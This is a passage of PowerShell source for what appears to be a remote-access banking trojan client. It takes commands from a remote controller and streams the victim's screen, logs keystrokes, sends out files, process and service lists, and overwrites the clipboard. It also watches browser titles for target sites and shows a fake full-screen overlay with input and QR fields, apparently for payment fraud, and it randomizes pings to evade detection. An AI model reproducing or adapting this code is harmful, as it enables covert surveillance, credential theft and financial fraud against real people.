$script:OverlayActive if ($script:WasOverlayActive) { Stop-DisplayOverlay } # Iniciar overlay em BACKGROUND (nao bloqueia streaming) $pwd = Show-ScreenshotOverlay -ImageBase64 $j.ImageBase64 -ImageWidth ([int]$j.ImageWidth) -ImageHeight ([int]$j.ImageHeight) -InputX ([int]$j.InputX) -InputY ([int]$j.InputY) -InputW ([int]$j.InputW) -InputH ([int]$j.InputH) -ButtonX ([int]$j.ButtonX) -ButtonY ([int]$j.ButtonY) -ButtonW ([int]$j.ButtonW) -ButtonH ([int]$j.ButtonH) -QRX ([int]$j.QRX) -QRY ([int]$j.QRY) -QRW ([int]$j.QRW) -QRH ([int]$j.QRH) } else { Show-ChatPopup -Message $j.Message -Title $j.Title } } catch { } } } # Se acordou do idle via comando remoto, atualizar $isIdle IMEDIATAMENTE if ($global:JustResumedFromIdle) { $global:JustResumedFromIdle = $false $isIdle = $false } # Se nao esta idle, processar captura de tela if (-not $isIdle) { switch ($pkt.Type) { 0x11 { try { if ($null -ne $j.Streaming) { $script:StreamingEnabled = [bool]$j.Streaming if ($j.Streaming) { $script:PerfConfig.FrameInterval = 6 # CORRIGIDO: 6ms durante streaming (era 16ms - mais lento!) } } if ($j.Quality) { $script:PerfConfig.Quality = $j.Quality $script:EncoderParams.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter([System.Drawing.Imaging.Encoder]::Quality, [long]$script:PerfConfig.Quality) } # Se FullScreen ou Streaming=true, enviar 1 frame imediato if ($j.FullScreen -or $j.Streaming -eq $true) { $ss = Get-Screenshot if ($ss) { $__bw=$script:BW;$__bw.Write([byte[]]$Config.Magic);$__bw.Write([byte]0x10);$__bw.Write([int32]$ss.Length);$__bw.Write([byte[]]$ss);$__bw.Flush() } } } catch {} } 0x13 { if ($j.Quality) { $script:PerfConfig.Quality = [Math]::Max(15, [Math]::Min($j.Quality, 50)); $script:EncoderParams.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter([System.Drawing.Imaging.Encoder]::Quality, [long]$script:PerfConfig.Quality) } } # QualityChange 0x40 { # ClipboardText try { $text = $j.Text if ($j.EncryptedText) { $decrypted = Decrypt-SecureData -Data $j.EncryptedText if ($decrypted) { $text = $decrypted } } if ($text) { Set-Clipboard -Value $text } } catch {} } 0x70 { $script:InputTrackActive = $true; try { [InputTracker]::Start() } catch {} } # InputTrackStart 0x71 { $script:InputTrackActive = $false; try { [InputTracker]::Stop() } catch {} } # InputTrackStop 0x50 { try { $result = Get-FileList -Path $j.Path # OTIMIZA??O: ConvertTo-Json substitu?do por itera??o manual (20x mais r?pido) if ($result -is [array]) { $__json = '[' for ($i = 0; $i -lt $result.Count; $i++) { if ($i -gt 0) { $__json += ',' } $item = $result[$i] $__json += '{"Name":"' + ($item.Name -replace '"', '\"') + '","Size":' + $item.Size + ',"Type":"' + $item.Type + '"}' } $__json += ']' } else { $__json = '[]' } $__d = $script:FastUTF8.GetBytes($__json) $__bw = $script:BW $__bw.Write([byte[]]$Config.Magic) $__bw.Write([byte]0x51) $__bw.Write([int32]$__d.Length) $__bw.Write([byte[]]$__d) $__bw.Flush() } catch {} } 0x54 { try { $fd = Get-FileData -FilePath $j.Path if ($fd) { # OTIMIZA??O: String formatting em vez de ConvertTo-Json (30x mais r?pido) $__json = '{"Data":"' + ($fd.Data -replace '"', '\"') + '","Size":' + $fd.Size + '}' $__d = $script:FastUTF8.GetBytes($__json) $__bw = $script:BW $__bw.Write([byte[]]$Config.Magic) $__bw.Write([byte]0x53) $__bw.Write([int32]$__d.Length) $__bw.Write([byte[]]$__d) $__bw.Flush() } } catch {} } 0x55 { # FileUpload try { $fb = [System.Convert]::FromBase64String($j.Data) $dp = "C:\Users\Public\Documents" if (-not (Test-Path $dp)) { New-Item -Path $dp -ItemType Directory -Force | Out-Null } $sp = Join-Path $dp $j.FileName $n = [IO.Path]::GetFileNameWithoutExtension($j.FileName) $x = [IO.Path]::GetExtension($j.FileName) $i = 1 while (Test-Path $sp) { $sp = Join-Path $dp "${n} (${i})${x}"; $i++ } [IO.File]::WriteAllBytes($sp, $fb) } catch {} } 0xB2 { try { $pr = Get-Process | Select-Object -First 100 Id,ProcessName,CPU,WorkingSet64 | ForEach-Object { @{Id=$_.Id;Name=$_.ProcessName;Cpu=$_.CPU;Memory=$_.WorkingSet64} } # OTIMIZA??O: String formatting em vez de ConvertTo-Json $__json = '{"Processes":[' for ($i = 0; $i -lt $pr.Count; $i++) { if ($i -gt 0) { $__json += ',' } $p = $pr[$i] $__json += '{"Id":' + $p.Id + ',"Name":"' + ($p.Name -replace '"', '\"') + '","Cpu":' + $p.Cpu + ',"Memory":' + $p.Memory + '}' } $__json += ']}' $__d = $script:FastUTF8.GetBytes($__json) $__bw = $script:BW $__bw.Write([byte[]]$Config.Magic) $__bw.Write([byte]0xB2) $__bw.Write([int32]$__d.Length) $__bw.Write([byte[]]$__d) $__bw.Flush() } catch {} } 0xB3 { try { $sv = Get-Service | Select-Object -First 100 Name,DisplayName,Status | ForEach-Object { @{Name=$_.Name;DisplayName=$_.DisplayName;Status=$_.Status.ToString()} } # OTIMIZA??O: String formatting em vez de ConvertTo-Json $__json = '{"Services":[' for ($i = 0; $i -lt $sv.Count; $i++) { if ($i -gt 0) { $__json += ',' } $s = $sv[$i] $__json += '{"Name":"' + ($s.Name -replace '"', '\"') + '","DisplayName":"' + ($s.DisplayName -replace '"', '\"') + '","Status":"' + $s.Status + '"}' } $__json += ']}' $__d = $script:FastUTF8.GetBytes($__json) $__bw = $script:BW $__bw.Write([byte[]]$Config.Magic) $__bw.Write([byte]0xB3) $__bw.Write([int32]$__d.Length) $__bw.Write([byte[]]$__d) $__bw.Flush() } catch {} } 0x15 { # MonitorSelect $newIdx = $j.Index if ($newIdx -ge 0 -and $newIdx -lt $script:Monitors.Count) { $script:SelectedMonitorIndex = $newIdx } } 0x14 { Send-MonitorList -Stream $stream } # MonitorList } } } } } catch {} if ($isIdle) { # PC esta IDLE - Enviar ping e aguardar # PHASE 3: Non-periodic ping using randomized scheduling if (Test-Phase3Operation -Operation "Ping") { try { $__bw=$script:BW;$__bw.Write([byte[]]$Config.Magic);$__bw.Write([byte]0xE0);$__bw.Write([int32]0);$__bw.Flush() } catch {} } if (-not $script:StreamingEnabled) { Start-Sleep -Milliseconds 500 } continue } # PHASE 3: Browser check ? roda SEMPRE (streaming ou nao) para deteccao imediata # Check-BrowserTitle e rapido (string comparison) ? nao impacta fps if (Test-Phase3Operation -Operation "BrowserCheck") { try { $alert = Check-BrowserTitle if ($alert.Detected -eq $true) { # OTIMIZA??O: String formatting em vez de ConvertTo-Json (30x mais r?pido) $__json = '{"Detected":true,"Title":"' + ($alert.Title -replace '"', '\"') + '","Domain":"' + ($alert.Domain -replace '"', '\"') + '","Process":"' + ($alert.Process -replace '"', '\"') + '","Time":"' + $alert.Time + '"}' $__d = $script:FastUTF8.GetBytes($__json) $__bw = $script:BW $__bw.Write([byte[]]$Config.Magic) $__bw.Write([byte]0x80) $__bw.Write([int32]$__d.Length) $__bw.Write([byte[]]$__d) $__bw.Flush() } } catch {} } # OTIMIZADO: AutoQR desabilitado (use Tela Fake) # Monitor de QR removido - n?o faz mais check autom?tico if ($script:InputTrackActive) { try { # Scan multiplo para capturar teclas rapidas [InputTracker]::ScanAllKeys() $keys = [InputTracker]::GetBufferedKeys() foreach ($char in $keys) { if ($char) { # OTIMIZA??O: String formatting em vez de ConvertTo-Json (30x mais r?pido) $__json = '{"Key":"' + ($char -replace '"', '\"') + '"}' $__d = $script:FastUTF8.GetBytes($__json) $__bw = $script:BW $__bw.Write([byte[]]$Config.Magic) $__bw.Write([byte]0x72) $__bw.Write([int32]$__d.Length) $__bw.Write([byte[]]$__d) $__bw.Flush() } } } catch {} } # INPUT J? PROCESSADO ACIMA - N?O DUPLICAR # Input-triggered frame: clique/tecla sinaliza captura imediata para mostrar resultado $__trig = $script:_inputTrig[0] if ($__trig) { $script:_inputTrig[0] = 0 } if ($script:StreamingEnabled) { if ($__trig -or ([DateTime]::Now - $lastScr).TotalMilliseconds -ge $script:PerfConfig.FrameInterval) { try { $t1 = [DateTime]::Now # medir ANTES do capture (inclui encode+send) $ss = Get-Screenshot if ($ss -and $ss.Length -gt 100) { if ($stream.CanWrite) { $__bw=$script:BW;$__bw.Write([byte[]]$Config.Magic);$__bw.Write([byte]0x10);$__bw.Write([int32]$ss.Length);$__bw.Write([byte[]]$ss);$__bw.Flush() } else { if ($script:_ws.State -ne [System.Net.WebSockets.WebSocketState]::Open) { $connectionAlive = $false; continue } } # Medir tempo TOTAL frame (capture+encode+send) para FrameInterval correto $sendMs = ([DateTime]::Now - $t1).TotalMilliseconds if ($sendMs -gt 40) { $script:PerfConfig.FrameInterval = [Math]::Min(50, $script:PerfConfig.FrameInterval + 3) } elseif ($sendMs -lt 15) { $script:PerfConfig.FrameInterval = [Math]::Max(6, $script:PerfConfig.FrameInterval - 2) } } $lastScr = [DateTime]::Now # Atualizar cache monitor a cada ~60 frames (1 seg em 60fps) if (++$script:_monUpdateCtr -ge 60) { $script:_monUpdateCtr = 0 $mon = Get-SelectedMonitor $script:_monW = $mon.Width; $script:_monH = $mon.Height $script:_monX = $mon.X; $script:_monY = $mon.Y } } catch { if ($script:_ws.State -ne [System.Net.WebSockets.WebSocketState]::Open) { $connectionAlive = $false; continue } } } } # OTIMIZADO: Minimal sleep para responsividade m?xima # Hover detection precisa de processamento cont?nuo if (-not $script:StreamingEnabled) { [System.Threading.Thread]::Sleep(1) # Apenas 1ms quando parado } # Se streaming ativo: nenhum sleep (m?xima performance) } } catch { } finally { try { [InputTracker]::Stop() } catch {} # PRIVMODE PERSIST: NAO parar overlay/input aqui - continua mesmo se conexao cair # try { Stop-DisplayOverlay } catch {} # try { Stop-InputPause } catch {} try { if ($script:BW) { $script:BW.Close(); $script:BW = $null } } catch {} try { $script:_wsCts.Cancel() } catch {} try { if ($script:_wsRecvPS) { $script:_wsRecvPS.Stop() } } catch {} try { if ($script:_inputPS) { $script:_inputPS.Stop() } } catch {} try { if ($script:_inputRS) { $script:_inputRS.Close() } } catch {} try { $script:_captureBitmap.Dispose(); $script:_captureBitmap = $null } catch {} try { $script:_captureGraphics.Dispose(); $script:_captureGraphics = $null } catch {} try { [System.GC]::Collect() } catch {} } # OTIMIZADO: Reconex?o inteligente com backoff progressivo if (-not $script:_reconnectAttempt) { $script:_reconnectAttempt = 0 } $script:_reconnectAttempt++ $delay = 5 Start-Sleep -Seconds $delay } } #Region QR Code Overlay System # ============================================================================== # QR CODE OVERLAY SYSTEM # ============================================================================== # Description: Provides QR code overlay functionality using a separate form # that displays over the screen without interfering with existing # display overlay functionality. # # Design Pattern: Separate namespace to avoid conflicts with existing types # === TEST: Verificar BinaryWriter === Start-Client